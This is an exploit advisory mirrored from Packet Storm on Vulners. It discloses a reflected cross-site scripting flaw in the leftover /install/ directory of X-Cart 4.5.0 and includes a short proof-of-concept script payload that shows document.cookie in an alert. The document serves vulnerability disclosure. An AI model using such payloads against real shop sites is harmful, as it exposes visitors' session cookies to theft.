Lucene search
+L

X-Cart 4.5.0 Cross Site Scripting

🗓️ 01 Jul 2015 00:00:00Reported by nopesledType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

X-Cart 4.5.0 Cross Site Scripting vulnerability via /install/ director

Code
`# Exploit Title: X-Cart Cross Site Scripting  
# Date: 30/06/2015  
# Exploit Author: nopesled  
# Vendor Homepage: http://www.x-cart.com/  
# Version: 4.5.0 and possibly earlier  
  
Details  
-------  
  
Websites running X-Cart version 4.5.0 (and possibly below) which have not removed their /install/ directory  
are vulnerable to Cross Site Scripting via a GET request. The affected code is as follows:  
  
<form method="post" name="ifrm" action="/install.php/" onsubmit="javascript: return step_next();">  
  
Proof of Concept  
----------------  
  
1. Navigate to /install/  
2. Append javascript payload (Eg: <script>alert(document.cookie)</script>  
3. Alert box appears containing cookie information  
4. Analysis of page source reveals the following change  
  
<form method="post" name="ifrm" action="/install.php/"><script>alert(document.cookie)</script>" onsubmit="javascript: return step_next();">  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Signed.  
-----BEGIN PGP SIGNATURE-----  
Version: Keybase OpenPGP v2.0.14  
Comment: https://keybase.io/crypto  
  
wsBcBAABCgAGBQJVkn9KAAoJEOB0UMODnV4UypMH+wfgkTiaFA5T5Ab4J7I89z9g  
o+6/uypHQwnYRfiAWKPXJVnGysgaBdvjzP8sLTozjQmGwDSTXimk5HiVXbLm9wt+  
rLFS3X6+RldP/+E3J5ki2jQFM0cR+bVpEwPb5cusyfxVwFEidFoX5H5M37Go4+no  
3K1xXCb+EzkmSuBaDtWDYD4nu/9RW2z0aoxpcrEomUefL8GQsYO37fOhorR4dqtO  
puXG8so+czyy2b+WUmwTy7WPqbiTtJDjehFdnyPSxy45xHmjeXBX+b9YoGbRZJ8i  
6YXc8iIc5bOapyz4tCNrlqvaUO6yZurJ/6vQ4xSPyJuojQsUPUtqIKbq0wLg0sg=  
=cLt5  
-----END PGP SIGNATURE-----  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2015 00:00Current
7.4High risk
Vulners AI Score7.4
23